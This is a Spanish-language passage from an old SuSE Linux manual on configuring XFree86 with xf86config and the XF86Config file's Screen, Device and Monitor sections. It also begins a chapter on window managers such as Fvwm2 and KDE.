Monitor
Ahora hay que especificar el monitor. Los datos crticos son la frecuencia
vertical y horizontal que estn generalmente documentados en el manual del
monitor.

Indicar rangos de frecuencia equivocados puede provocar la destruccin


del monitor! El Sistema X Window solo usa los modos de vdeo que envan
seales localizadas dentro del rango de frecuencias admitidas.

Los valores admisibles para algunos monitores se encuentran en /usr/


X11R6/lib/X11/doc/Monitors4
Para elegir la frecuencia horizontal se presenta la siguiente seleccin:
Solo en caso de no conocer los datos exactos del monitor, se escoger una
de las opciones predefinidas. Con `10' es posible introducir las frecuencias
exactas.
Despus del dilogo que pregunta por las frecuencias horizontales hay que
definir las verticales. Aqu se presenta tambin una seleccin:
3 p. ej. en Emacs
4 No hay garanta para estos valores!

230
9.2. Configuracin con xf86config

hsync in kHz; monitor type with characteristic modes


1 31.5; Standard VGA, 640x480 @ 60 Hz
2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz
3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interl.
(no 800x600)
4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz il.,
800x600 @ 56 Hz
5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz,
640x480 @ 72 Hz
6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz,
800x600 @ 72 Hz
7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz
8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz
9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz
10 Enter your own horizontal sync range
Enter your choice (1-10):

Mensaje en pantalla 9.2.2: Definicin de las frecuencias horizontales del


monitor
1 50-70
2 50-90
3 50-100
4 40-150
5 Enter your own vertical sync range

Enter your choice (1-5):

Mensaje en pantalla 9.2.3: Frecuencias verticales detalladas

Como en la anterior pregunta, es mejor introducir los valores exactos en lugar


de recurrir a uno de los rangos dados de `1' a `4'.
Despus se pide introducir un nombre para la descripcin del monitor,
Enter an identifier for your monitor definition:
el nombre del fabricante,
Enter the vendor name of your monitor:
y el modelo:
Enter the model name of your monitor:

 . Con esto se finaliza la


En las anteriores preguntas se puede introducir el nombre correspondiente o
usar los valores predeterminados pulsando Enter 
especificacin del monitor.

Tarjeta de vdeo/servidor X
Se contina con la especificacin de la tarjeta grfica usada:
Do you want to look at the card database?
Introduciendo `y' aparece una lista con tarjetas de vdeo preconfiguradas.
Se puede seleccionar de esta lista la definicin de una tarjeta indicando el
nmero correspondiente. Al elegir una tarjeta de vdeo hay que tener en
cuenta que incluso tarjetas del mismo tipo pueden tener variaciones respecto a
Clock-Chip y RAMDAC (ingl. Random Access Memory Digital-to-Analogue
Converter)!

231
9. El sistema X Window

Por eso existe ms adelante la opcin de configurar Clock-Chip y Ramdac de


manera individual, aunque la tarjeta ya haya sido elegida anteriormente de la
lista de preconfiguraciones.
Las definiciones del banco de datos de tarjetas, contienen informacin so-
bre Clock-Chip, Ramdac y el servidor X a usar. Segn el caso, se aaden
tambin datos interesantes sobre la tarjeta en la seccin Device del fichero
XF86Config.
Si la tarjeta grfica buscada no se encuentra en el listado, no hay por qu
preocuparse. Es posible volver con `q' a la configuracin normal. Seleccio-
nando una tarjeta solamente se debera seleccionar una del listado, cuando el
nombre de la lista corresponde exactamente con la tarjeta usada. No se re-
comienda elegir una tarjeta con un nombre parecido, ya que esto no significa
que el hardware tambin lo sea.
En el apartado 9.3 hay informacin adicional sobre la configuracin de la
tarjeta grfica.
Despus de haber especificado la tarjeta viene la seleccin del servidor X:

1 The XF86_Mono server. This a monochrome server that should work on


any VGA-compatible card, in 640x480 (more on some SVGA chipsets).
2 The XF86_VGA16 server. This is a 16-color VGA server that should
work on any VGA-compatible card.
3 The XF86_SVGA server. This is a 256 color SVGA server that supports
a number of SVGA chipsets. It is accelerated on some Cirrus and WD
chipsets; it supports 16/32-bit color on certain Cirrus
configurations.
4 The accelerated servers. These include XF86_S3, XF86_Mach32,
XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 and
XF86_Mach64.

These four server types correspond to the four different "Screen"


sections in XF86Config (vga2, vga16, svga, accel).

5 Choose the server from the card definition, XF86_S3.

Which one of these four screen types do you intend to run


by default (1-4)?

Mensaje en pantalla 9.2.4: Seleccin del servidor X

1 Un servidor para monitores monocromticos. Debera funcionar con


cualquier tarjeta grfica compatible a VGA con una resolucin mnima
de 640x480 puntos.
2 El servidor de 16 colores XF86_VGA16. Debera funcionar con cualquier
tarjeta compatible a VGA.
3 El servidor SVGA XF86_SVGA. Este servidor de 256 colores soporta una
gran cantidad de tarjetas SVGA. Algunas tarjetas de Cirrus y de WD
aprovechan la aceleracin de grficos. Hay tarjetas de Cirrus que permiten
una profundidad de color 16 o 32-Bit en modo color.
4 Servidor para tarjetas aceleradoras. Hay varios servidores a disposicin
(ver ms abajo)

232
9.2. Configuracin con xf86config

5 Esta opcin solo existe cuando se ha elegido una tarjeta en la lista anterior.
Se propone el servidor adecuado para la tarjeta.
Cuando se ha elegido un servidor, aparece una pregunta acerca de la gen-
eracin de un enlace simblico del servidor elegido en /usr/X11R6/bin/X.
Al afirmar la pregunta con `y', el programa pide la confirmacin para colocar
el enlace en /var/X11R6/bin:
Do you want to set it in /var/X11R6/bin?
Afirme esta pregunta, porque es posible que no necesariamente se pueda
escribir en el rbol /usr.
Ahora aparece un men con los servidores X disponibles para tarjetas aceler-
adoras, si en la seleccin anterior se ha escogido `4':

Select an accel server:

1 XF86_S3
2 XF86_Mach32
3 XF86_Mach8
4 XF86_8514
5 XF86_P9000
6 XF86_AGX
7 XF86_W32
8 XF86_MACH64

Which accel server:

Mensaje en pantalla 9.2.5: Servidores X acelerados

Estos servidores son especiales y soportan las prestaciones adicionales de las


correspondientes tarjetas. La colocacin del enlace supone que el servidor X
correcto ya fue instalado durante la instalacin del Sistema X Window.
Despus de la seleccin del servidor X, hace falta especificar la tarjeta grfica
en ms detalle. Primero se define la cantidad de memoria instalada.
How much video memory do you have on your video card:

1 256K
2 512K
3 1024K
4 2048K
5 4096K
6 Other

Enter your choice:

Mensaje en pantalla 9.2.6: Definicin de la cantidad de memoria grfica

Despus pregunta por un nombre, el fabricante y el tipo de tarjeta grfica. Si


se ha- . elegido antes la tarjeta desde el banco de datos es suficiente con pulsar
 
Enter an identifier for your video card definition:

Enter the vendor name of your video card:

Enter the model (board) name of your video card:

233
9. El sistema X Window

Si se ha elegido como servidor X uno del tipo acelerado, aparece ahora la


pregunta por el RAMDAC setting. Solo es importante para tarjetas del tipo
S3 o AGX:

1 AT&T 20C490 (S3 server) att20c490


2 AT&T 20C498/21C498/22C498 (S3) att20c498
3 AT&T 20C505 (S3) att20c505
4 BrookTree BT481 (AGX) bt481
5 BrookTree BT482 (AGX) bt482
6 BrookTree BT485/9485 (S3) bt485
7 Sierra SC15025 (S3, AGX) sc15025
8 S3 GenDAC (86C708) (autodetected) s3gendac
9 S3 SDAC (86C716) (autodetected) s3_sdac
10 STG-1700 (S3) stg1700
11 TI 3020 (S3) ti3020
12 TI 3025 (S3) ti3025
13 TI 3020 (S3, autodetected) ti3020
14 TI 3025 (S3, autodetected) ti3025
15 TI 3026 (S3, autodetected) ti3026
16 IBM RGB 514 (S3, autodetected) ibm_rgb514
17 IBM RGB 524 (S3, autodetected) ibm_rgb524
18 IBM RGB 525 (S3, autodetected) ibm_rgb525
19 IBM RGB 526 (S3) ibm_rgb526
20 IBM RGB 528 (S3, autodetected) ibm_rgb528
21 ICS5342 (S3, ARK) ics5342
22 ICS5341 (W32) ics5341
23 IC Works w30C516 ZoomDac (ARK) zoomdac
24 Normal DAC normal

Mensaje en pantalla 9.2.7: Indicacin del RAMDAC

 
Generalmente lo mejor es pulsar  - y no seleccionar nada, salvo que se
haya elegido una tarjeta que soporta una configuracin de RAMDAC especial.
Este caso estar indicado y se recomienda seleccionarlo realmente.
Despus de haber contestado a esto se puede elegir el Clock-Chip de las
tarjetas aceleradas si es que lo llevan. Seleccionando un Clock-Chip ya no
se necesitan lneas de Clock, ya que los valores-Clock necesarios pueden ser
programados:

1 Chrontel 8391 ch8391


2 ICD2061A and compatibles (ICS9161A, DCS2824) icd2061a
3 ICS2595 ics2595
4 ICS5342 (similar to SDAC, but not completely compatible)
ics5342
5 ICS5341 ics5341
6 S3 GenDAC (86C708) and ICS5300 (autodetected) s3gendac
7 S3 SDAC (86C716) s3_sdac
8 STG 1703 (autodetected) stg1703
9 Sierra SC11412 sc11412
10 TI 3025 (autodetected) ti3025
11 TI 3026 (autodetected) ti3026
12 IBM RGB 51x/52x (autodetected) ibm_rgb5xx

Mensaje en pantalla 9.2.8: Determinacin del Clockchip

234
9.2. Configuracin con xf86config

 
Si se usa una tarjeta grfica sin Clock-Chip, es suficiente con pulsar  - ,
para no seleccionar ninguno. Si la tarjeta fue seleccionada en el listado de
tarjetas se indica automticamente el Clock-Chip que exista.
Sin haber seleccionado ningn Clock-Chip, xf86config propone iniciar el
programa X -probeonly para determinar los Clock-Timings que soporta la
tarjeta. Estos se apuntarn automticamente en una lnea de Clocks en el
fichero XF86Config.
Aqu hay que indicar claramente, por qu los Clock-Timings que se deter-
minan automticamente pueden ser muy peligrosos: Si la tarjeta tiene un
Clock-Chip programable, el servidor X no puede cambiar entre los distintos
Clocks de la tarjeta y por tanto solo reconoce los Clocks 0, 1 y a veces 2. Los
dems valores son ms o menos casuales (generalmente los Clocks 0, 1 y 2
se repiten y por eso se reemplazan por ceros).
Los clocks distintos de 0 y 1 dependen mucho de la pre-programacin del
Clock-Chip, por lo que el valor del Clock 2 puede ser diferente cuando se
efecta la prueba (valor que se apunta en XF86Config) al valor del momento
de arrancar el servidor X. De este modo todos los Timings son falsos y el
monitor se puede daar.
Un buen indicio para un Clock-Chip programable y sus problemas son
muchos ceros en los valores del Timing o valores que continuamente se
repiten. En ningn caso se deben introducir valores semejantes en el fichero
XF86Config!
Para determinar el Clock-Chip o el Clock-Timing se puede usar la siguiente
estrategia:
 Lo mejor es indicar un Clock-Chip programable si es que existe sobre la
tarjeta. En este caso se programa correctamente y el fichero XF86Config
no contendra ninguna referencia a los Clocks. Otra posibilidad es la com-
paracin de los circuitos (chips) que hay sobre la tarjeta con los Clock-
Chips que se ofrecen en el men, para averiguar as el que coincide. Casi
todas las tarjetas modernas del tipo S3 llevan un Clock-Chip programable.
 Si no tiene ningn Clock-Chip programable sobre la tarjeta, lo mejor es
ejecutar X -probeonly y comparar los valores encontrados con los del
manual de la tarjeta (la computadora no debe correr ningn otro progra-
ma). Si estos ms o menos coinciden (2), anote los valores en el fichero
XF86Config.
Si no es posible comparar los valores, compruebe la validez de los mismos
(muchos ceros o valores que se repiten continuamente indican valores
no vlidos). Anote los valores vlidos a mano en XF86Config, pero no
suprima ningn valor ni intente reordenar o modificar de alguna manera
los mismos. Hay que apuntar los valores en el mismo orden de aparicin.
Usando el servidor P9000 se introduce sencillamente, para cada modo, el
clock deseado en la lnea Clocks. El orden de los modos no es impor-
tante.
 Siempre es vlido: Cuando el Clock-Chip es programable no debe existir
ninguna lnea de Clocks en XF86Config (Excepcin: P9000).
Al contrario, cuando el Clock-Chip no es programable, s que debe haber
una lnea de Clocks en XF86Config. As se evita la determinacin

235
9. El sistema X Window

automtica pesada y tal vez peligrosa de los Clocks en cada arranque del
Sistema X Window. Adems en caso de tarjetas que no permiten leer los
Clocks no aparecen valores falsos y as no habr riesgo para el monitor.
Para probar ahora los Clocks (tener en cuenta los prrafos anteriores), se
contesta la siguiente pregunta con `y':
Do you want me to run `X -probeonly' now?
La pantalla se obscurece por un momento y despus aparece una lista con
los Clocks determinados o, un mensaje advirtiendo que no se ha encontrado
ningn Clock. Si se ha definido un Clock-Chip con anterioridad no aparece
la pregunta sobre ejecutar X -probeonly, ya que los Clocks se programarn
automticamente. En este caso aparece directamente la prxima opcin de
configuracin.

Si ha contestado la ltima pregunta con `y' y la pantalla se queda obscura


         ! Si no queda ms remedio apague el
por ms de 30 segundos, debe terminar en todo caso la fase de prueba
con Ctrl +Alt + o Ctrl +c 
7!
monitor y la computadora para no poner en peligro estos componentes.

Guardar la configuracin
Ahora se ha terminado la configuracin pero el fichero de configuracin an
no est guardado. Lo mejor es guardar el fichero de configuracin de X-
Window XF86Config en el directorio /etc. As se asegura tambin en una
red que cada computadora lleve su propia configuracin, incluso cuando
varias computadoras comparten el rbol /usr.
Indique entonces `/etc/XF86Config' como destino del fichero de config-
uracin. Con esto se termina el programa xf86config y la configuracin del
Sistema X Window.

9.3 Optimizacin de la instalacin del Sistema X Window


Los programas XF86Setup y xf86config generan el fichero XF86Config y lo
escriben generalmente al directorio /etc. Este es el fichero de configuracin
principal del X-Window-System que contiene las definiciones de mouse,
monitor y tarjeta de vdeo.
XF86Config se compone de varios prrafos, llamados secciones (ingl. sec-
tions) y cada una contempla un determinado aspecto de la configuracin. Ca-
da seccin tiene la forma:
Section <Denominador de seccin>
definicin 1
definicin 2
definicin n
EndSection
Existen los siguientes tipos de secciones:

236
9.3. Optimizacin de la instalacin del Sistema X Window

Files Esta seccin describe los path (las ramas) para los jue-
gos de caracteres y la tabla de colores RGB.
ServerFlags Aqu se apuntan indicadores generales (ingl. flags).

Keyboard Sirve para la descripcin del teclado y del driver usado.


Para Linux solo puede ser Device "Standard".
Pointer Contiene las definiciones necesarias para el dispositi-
vo apuntador, que es generalmente un mouse pero tam-
bin podra ser un lpiz fotosensible (ingl. LightPen) o
una tableta grfica. Las indicaciones importantes son el
Protocol y el Device.
Monitor Descripcin del monitor usado. Los elementos de es-
ta seccin son un nombre, que sirve ms tarde de ref-
erencia en la definicin del Screen tal como el val-
or de la anchura de banda (Bandwidth [MHz]) y de
las frecuencias de sincronizacin (HorizSync [kHz] y
VertRefresh [Hz]). El servidor rechaza cualquier
Modeline que no cumple con la especificacin del mon-
itor. Haciendo esto se evita mandar al monitor frecuen-
cias demasiado altas cuando se estn manipulando los
Modelines.
Device Esta seccin define una determinada tarjeta grfica cuya
referencia es el nombre dado aqu.
Screen Esta seccin une finalmente un Driver (p. ej. vga2 o
accel), con un Monitor y un Device para formar
as las indicaciones necesarias para XFree86. La sub-
seccin Display permite la definicin de un tamao
de pantalla virtual (Virtual), del ViewPort y de los
Modes usados con este Screen.

Tabla 9.1: Secciones (ingl. sections) en /etc/XF86Config

Aqu se contemplan ms de cerca las secciones Monitor, Device y Screen.


En [The96] hay ms informacin sobre las dems secciones.
En el fichero XF86Config pueden aparecer varias secciones de los tipos
Monitor y Device. Tambin se pueden usar varias secciones Screen cuyo
uso depende del servidor X usado.

Screen-Section

Primero queremos contemplar de cerca la seccin de Screen. Esta une una


seccin de Monitor y de Device y determina cul resolucin se proporciona
con cul profundidad de color.
Una seccin del tipo Screen puede parecerse p. ej. a la del Fichero 9.3.1.

237
9. El sistema X Window

Section "Screen"
Driver "accel"
Device "Miro Crystal 40SV"
Monitor "EIZO T563-T"
DefaultColorDepth 16
Subsection "Display"
Depth 8
Modes "1024x768" "800x600" "640x480"
ViewPort 0 0
Virtual 1024 768
EndSubsection
Subsection "Display"
Depth 16
Modes "1280x960" "1152x864" "1024x768" "800x600"
ViewPort 0 0
Virtual 1280 960
EndSubsection
Subsection "Display"
Depth 32
Modes "1024x768" "800x600" "640x480"
ViewPort 0 0
Virtual 1024 768
EndSubsection
EndSection

Fichero 9.3.1: La seccin Screen del fichero /etc/XF86Config

Con la lnea de driver se determina para cul servidor X vale la definicin.


Los distintos servidores que se encuentran en la lista de la Pgina 232 se
indican con las claves siguientes:

Accel Para los servidores especiales acelerados


Mono Servidor no VGA de 1 y 4 bit
SVGA Servidor Super VGA
VGA2 Servidor VGA monocromtico (1 bit)
VGA16 Servidor VGA de 4 bit

Tabla 9.2: Claves para los servidores X en /etc/XF86Config

En el fichero XF86Config se puede encontrar para cada servidor usado una


seccin de Screen, que se usa cuando se inicia el correspondiente servidor.
Las prximas dos lneas, Device y Monitor, determinan la tarjeta de vdeo
y el monitor que corresponden a la definicin. No son ms que indicadores,
que apuntan a las secciones de Device y de Monitor con los nombres que
coinciden. Estas secciones son objeto de discusin ms adelante.
La variable DefaultColorDepth indica la profundidad de color por defecto
que usa el servidor cuando arranca sin definicin explcita de ella.

238
9.3. Optimizacin de la instalacin del Sistema X Window

Para cada profundidad de color prosigue una subseccin de Display. La pro-


fundidad de color de cada subseccin se define por la palabra clave Depth.
Los valores posibles para Depth son 8, 15, 16, 24 y 32. No todos los servi-
dores X soportan todos los valores y 24 y 32 son equivalentes para muchas tar-
jetas; algunas lo diferencian y seleccionan el modo packed-pixel de 24bpp
cuando se indica el valor 24 y el modo padded-pixel de 24bpp cuando se
indica el valor 32.
Despus de la definicin de profundidad de color se define con Modes una
lista de resoluciones. El servidor X pasa por esta lista de izquierda a derecha.
Para cada una de las resoluciones listadas, el servidor busca en la seccin de
monitor un Modeline adecuado, que corresponde con un Clock-Rate anotado
en la seccin de monitor o con un Clock-Rate que se puede programar.
   
La primera resolucin adecuada en este sentido es la que usa el servidor X
para arrancar el Default-Mode. Con las teclas Ctrl +Alt +gris + se
   
puede ir en la lista de resoluciones a la derecha y con Ctrl +Alt +gris - 
a la izquierda5. As se puede modificar la resolucin en pantalla durante el
tiempo de ejecucin del Sistema X Window.
Las ltimas dos lneas de las subsecciones se refieren al tamao de la pantalla
virtual y el punto de anclaje de la parte visible en ella. El tamao de la pan-
talla virtual depende de la cantidad de memoria instalada y de la profundidad
de color deseada pero no depende de la resolucin mxima del monitor. Si la
tarjeta tiene p. ej. 1 MB Video RAM, entonces la pantalla virtual puede ser de
hasta 1024x1024 puntos a una profundidad de color de 8 Bit. Para los servi-
dores X acelerados no se recomienda de ninguna manera usar todo el espacio
de memoria disponible para la pantalla virtual, ya que estos servidores usan
la zona de memoria no usada de la tarjeta para diferentes caches de juegos de
caracteres y de zonas de grficos.
El tamao de la pantalla virtual se indica con Virtual.
Con Viewport se determina el as llamado Viewport (marco de visual-
izacin). Este es el punto en el cual la esquina superior izquierda de la
pantalla fsicamente visible se introduce en la pantalla virtual. La indicacin
0 0 significa que las dos esquinas superiores izquierdas se superponen en
un principio. La parte visible de la pantalla se mueve encima de la pantalla
virtual moviendo el mouse al marco de la pantalla visible. Esto significa
que el Viewport solo es importante en el momento de arrancar el Sistema
X Window y solo cuando el tamao de la pantalla virtual no coincide con la
resolucin real.

Device-Section
Una seccin de dispositivo (ingl. Device-Section), describe una determinada
tarjeta grfica. Puede haber una cantidad infinita de secciones de dispositivo
en XF86Config mientras que sus nombres, indicados con la palabra clave
Identifier, se distinguen.
Una descripcin detallada solo en Ingls de la seccin de dispositivo, se
encuentra en /usr/X11/lib/X11/doc y en el Manpage [The96].
5 Gris indica aqu que se trata de teclas del bloque numrico, ya que estas se resaltan a veces

en color gris.

239
9. El sistema X Window

El fichero /usr/X11R6/lib/X11/doc/Devices contiene una coleccin de


secciones de dispositivo. Usando alguna de las tarjetas mencionadas all, lo
mejor es copiar la correspondiente seccin al fichero /etc/XF86Config y
adaptar all la seccin Screen indicando el Device que corresponde.
Si la tarjeta en cuestin no se encuentra listada en ste, no significa que
XFree86 no la soporte; en realidad solo significa que an no hubo nadie
que mandara una seccin de dispositivo al XFree86 -Team. La lista de las
tarjetas soportadas se encuentra en el directorio /usr/X11/lib/X11/doc en
el fichero README y hay ms detalles sobre ellas en AccelCards.

Monitor-Section
Las secciones de monitor describen, tal como las de Device, un monitor
por cada seccin y puede haber una cantidad infinita de estas secciones en
/etc/XF86Config. En la seccin de Screen se determina cul seccin de
monitor vale a efectos de la configuracin.
Solo usuarios muy experimentados deberan generar o ajustar una seccin de
Monitor al igual que una seccin de tarjeta grfica. Una parte fundamental
de las secciones de monitor son los Modelines que indican las sincroniza-
ciones (ingl. timings) horizontales y verticales para cada resolucin.

Sin un buen conocimiento de la funcin de monitor y de tarjeta grfica


no se debera cambiar ningn valor de los Modelines, ya que esto podra
provocar la destruccin del monitor!

Si realmente se atreve a hacer sus propias configuraciones de monitor, debera


leer antes la documentacin en /usr/X11/lib/X11/doc. Se recomienda
especialmente la lectura de [FCR93] que explica detalladamente la funcin
del hardware y la definicin de los Modelines.
Las secciones de monitor preconfiguradas y listas para su uso en XF86Config
se encuentran en el fichero /usr/X11/lib/X11/Monitors. Si se quiere usar
un monitor que no figura all, se recomienda usarlo con las sincronizaciones
VESA estndar tal como se indica en la seccin monitor del fichero de con-
figuracin que generan XF86Setup y xf86config. En este caso es importante
que los valores para frecuencia horizontal y vertical estn indicados correcta-
mente.
Con gusto se incorporan configuraciones nuevas y comprobadas a la lista de
las existentes, proporcionndolas a la SuSE GmbH o al XFree86 -Team.

240
Captulo 10
El Windowmanager
La ventana a su PC

Una vez configurado el servidor X, queremos disfrutar de un escritorio colori-


do, con ventanas, mens y todos los dems detalles que forman un verdadero
escritorio; por lo tanto, este captulo se ocupa de los gestores de ventanas
(ingl. windowmanager1). En detalle se abarcan los siguientes temas:

 Un gestor de ventanas y sus tareas


 Fvwm2 el gestor clsico de Linux
 KDE el K Desktop Environment como la nueva alternativa
 susewm la va elegante para la configuracin propia
 La prctica: Afinar los ajustes

Posiblemente se quiera comenzar directamente con la prctica, pero es mejor


tener una idea bsica de la teora que se presenta a continuacin.

10.1 Un poco de teora...


10.1.1 Generalidades
En comparacin a los entornos grficos monolticos, como p. ej. Windows
u OS/2, en Linux y Unix las distintas capas funcionales estn separadas. A
primera vista esto complica el manejo, pero finalmente brinda ms flexibil-
idad y el sistema ofrece prestaciones ms altas, especialmente respecto a la
potencia.
La primera capa es el sistema operativo, que se encarga de la tareas triviales,
como p. ej. la administracin de la memoria.
Por encima de esa capa est el X-Server (Sistema X Window) que corre-
sponde a lo que se denomina driver en otros sistemas. En Linux se es-
tablece una capa transparente por debajo del entorno grfico que permite el
acceso distribuido a los servicios de un servidor-X a travs de toda la red
(tambin Internet). En realidad el servidor-X no sabe otra cosa que:

 acceder a la tarjeta grfica


 dibujar puntos, lneas, rectngulos y texto
1 De aqu en adelante Windowmanager se abrevia con WM.

241
10. El Windowmanager La ventana a su PC

 distribuir este servicio a la computadora local y a travs de toda la red.

Probablemente la mayora de los usuarios usan un servidor-X localmente (o


sea, solo en la computadora de sobremesa), sin embargo, la capacidad de uso
en red representa siempre una gran ventaja. As p. ej., es posible ejecutar
una aplicacin en la computadora del despacho y visualizarla completamente
con el PC en casa. Otro ejemplo: no hace falta sentarse directamente al lado
de la estacin de trabajo, que es igual de potente como ruidosa, sino que se
puede trabajar tranquilamente en la computadora ms sencilla de su despacho
mientras las aplicaciones se ejecutan en la estacin de trabajo.
Los servicios del gestor de ventanas se encargan de convertir los rectngulos
como elementos bsicos en ventanas o mens movibles. Las ventanas
son importantes porque permiten ejecutar y visualizar varias aplicaciones al
mismo tiempo y proporcionan mens para interactuar cmodamente con la
computadora.
El gestor de ventanas representa entonces una capa adicional entre el servidor
X, las aplicaciones y el usuario, como lo muestra la Figura 10.12.

User

Applications

Windowmanager

X-Server

Hardware

Figura 10.1: Capas del entorno grfico bajo Linux

Linux conoce diferentes gestores de ventana (ingl. windowmanager), p. ej.

 Fvwm o su nueva versin Fvwm2 el windowmanager de Linux


 Fvwm95 parecido a Win95
 Bowman con la apariencia de NeXTSTEP
 Ctwm WM sin adornos (para tarjetas rpidas)
 Mwm Motif windowmanager
 Olvwm OpenLook virtual windowmanager
 CDE Common Desktop Environment (comercial)
 Kwm el WM del K Desktop Environment (KDE)
2 Adems los desarrolladores de aplicaciones-X pueden acceder directamente a X.

242
10.1. Un poco de teora...

Hay algunos WM menos conocidos y de poca difusin que no queremos dejar


de mencionar: Wm2, Mlvwm, Qvwm, Enlightenment, 9wm, Twm, Icewm,
scwm, : : :
Cul WM usar? Esto depende bsicamente del gusto personal, de las fun-
ciones que se necesitan y de la potencia de hardware que se dispone. Espe-
cialmente en cuanto al gasto de memoria puede haber diferencias substan-
ciales. Adems de la apariencia, los WM se distinguen tambin en cuanto
a las posibilidades de configuracin y de ampliacin. La Figura 10.2, Figu-
ra 10.3 y Figura 10.4 representan tres ejemplos que muestran las diferencias
en la decoracin de ventanas del los WM Fvwm2, Fvwm95 y AfterStep.

Figura 10.2: Decoracin de ventana del Fvwm2

Figura 10.3: Decoracin de ventana del Fvwm95

Figura 10.4: Decoracin de ventana del AfterStep

No hay inconveniente en instalar (paralelamente) diferentes WM, probarlos,


decidirse por uno y despus adaptar el WM seleccionado segn necesidades
y/o gusto.
La mayora de los WM mencionados guardan sus respectivos ficheros de
configuracin junto con otros dentro de subdirectorios que se encuentran en
el directorio /usr/X11R6/lib/X11. Por qu no curiosear un poco en este
directorio?

Finalmente un consejo: La mayor parte de la informacin de este captulo


se refieren a Fvwm2 o KDE. Si an no est decidido, elija uno de estos!

10.1.2 Qu administra el windowmanager?


A continuacin una lista breve (e incompleta) de la influencia que puede tener
el gestor de ventanas sobre el comportamiento y la apariencia del entorno
grfico:
 Apariencia de las ventanas

243
10. El Windowmanager La ventana a su PC

Anchura, color, y efectos 3D del marco


Barras de desplazamiento, botones de cerrar, abrir y ampliar, ttulo de
la ventana y su fuente.
 Superposicin de ventanas
Comportamiento de la ventana al ejecutar p. ej. AutoRaise
Clavar ventanas
 Activar una ventana
seleccionando con un click
tocando con la flecha del mouse
 Mens desplegables
Apariencia de los mens (color, fuente)
Comportamiento de los mens y sub-mens
 Fondo de pantalla
 Escritorio virtual (varios escritorios/pantallas)
 Administracin de iconos
 Combinacin de sonidos con eventos en el directorio
Desafortunadamente son pocos los WM bajo UNIX o Linux que ofrecen un
programa de configuracin grfico e intuitivo, para configurar y administrar
las funciones mencionadas. Los que lo ofrecen son p. ej. AfterStep, Olvwm,
CDE y KDE.
La mayora de los WM se configuran con uno o varios ficheros, en los que
se puede ajustar los diversos parmetros con comandos ms o menos descrip-
tivos (basados en la mnemotcnica). Lo lamentable es que los distintos WM
no utilizan un formato uniforme para estos ajustes, por lo que se precisa para
cada WM el estudio de la documentacin correspondiente (generalmente en
forma de Manpages).
Despus del primer contacto es fcil acostumbrarse rpidamente a un WM y
su configuracin. Adems, el WM preferido solo se configura al principio y
despus solo se trabaja con l.

10.1.3 Iniciar varios gestores de ventana


Para iniciar varios WM, SuSE Linux presenta dos posibilidades para ello, que
dependen de la forma de iniciar le Sistema X Window3.

Inicio con el susewm-men


Si se utiliza susewm, se pueden iniciar los distintos WM directamente desde
el men.
Muchos WM permiten el cambio entre ellos sin necesidad de cerrar las ven-
tanas abiertas (y con ello los procesos en ejecucin). En los caso de ctwm,
mwm, kwm o CDE, esto no es posible ya que dicha caracterstica no fue
prevista por los programadores.
3 Las dos formas se refieren al inicio a travs de xdm o desde la consola de texto.

244
10.2. El Fvwm2

La variable $WINDOWMANAGER
Para iniciar directamente un WM determinado se introdujo la variable de
entorno $WINDOWMANAGER, cuyo valor determina cul WM se inicia.

Inicio con startx


Primero se explica cmo iniciar el Sistema X Window con un determinado
WM desde la consola de texto con el comando startx.
Se puede p. ej. usar la llamada:
tux@tierra: > startx fvwm95
para iniciar directamente el Fvwm95, cosa que funciona en la mayora de los
WM de SuSE Linux; es posible ampliar esta llamada p. ej. con la profundidad
de color deseada. Para usar el WM colorido AfterStep (afterstep) con una
profundidad de color de 16 bit (65536 colores) sirve la siguiente llamada:
tux@tierra: > startx afterstep -- -bpp 16
En la lnea de comando se usa siempre el nombre completo del WM.
En caso de querer usar un WM distinto al que viene por defecto (actualmente
kwm) sin tener que indicar en cada inicio su nombre, entonces se debe aadir
en el fichero ~/.bashrc del directorio $HOME, la siguiente lnea:
export WINDOWMANAGER=fvwm95
En este ejemplo, el WM por defecto pasa a ser Fvwm95. Si el directorio
/usr/X11R6/bin no forma parte de la variable de entorno $PATH, se debe
indicar en la lnea de arriba la rama completa en la que se encuentra el WM.
Tambin se puede poner la entrada de arriba adentro del fichero /etc/
profile, para definir as el WM para todo el sistema. Cada usuario puede
superponer esta definicin con la individual que se realiza en el fichero
~/.bashrc. Esta es la razn por la que no se ha incluido en YaST la posibil-
idad de definir el WM para todo el sistema.

Iniciar con xdm


El mtodo de la definicin de una variable de entorno en ~/.bashrc es el
nico camino viable para definir un WM por defecto, iniciando la sesin-X
con el xdm.

Al arrancar el Sistema X Window con el KDM (login grfico de KDE) no


se debe fijar el Windowmanager con la variable de entorno $WINDOW-
MANAGER, sino que se selecciona entrando al sistema (efectuando el
login). Hay ms detalles en el apartado 10.4.

10.2 El Fvwm2

Generalidades
Este apartado tiene como objeto de discusin el Fvwm2 (fvwm2), que fue uno
de los primeros gestores de ventana serios.

245
10. El Windowmanager La ventana a su PC

El Fvwm24 es (como ya lo indica el nombre) la segunda versin de Fvwm


y ha aumentado mucho sus funcionalidades con respecto a la versin 1, pero
tambin ha aumentado el gasto de memoria.
Aparte de las funciones usuales de administracin de ventanas y su deco-
racin con botones, ste ofrece tambin mens de fondo y mdulos que se
pueden cargar en tiempo de ejecucin. Los mdulos contienen funciones adi-
cionales muy interesantes como p. ej. una barra con botones.
Para obtener ms informacin sobre la funcin, el inicio y la configuracin
del Fvwm2 y sus mdulos, consulte las Manpages correspondientes (Man-
page de fvwm2 (man fvwm2), Manpage de FvwmAudio (man FvwmAudio),
Manpage de FvwmButtons (man FvwmButtons), etc.) o el directorio de doc-
umentacin /usr/doc/packages/fvwm, que contiene tambin unos ficheros
de configuracin ejemplares.

Los paquetes originales de Fvwm2, Fvwm (versin 1) y Fvwm95, proce-


dentes de Internet, guardan algunas Manpages bajo el mismo nombre en
el mismo sitio. Para evitar superposiciones, SuSE Linux ubica las Man-
pages de Fvwm (versin 1) y de Fvwm95 en diferentes directorios. Los de
Fvwm2 se pueden leer como es usual con el comando man, pero para los
de Fvwm (versin 1) y Fvwm95 hay que proceder de diferente manera.

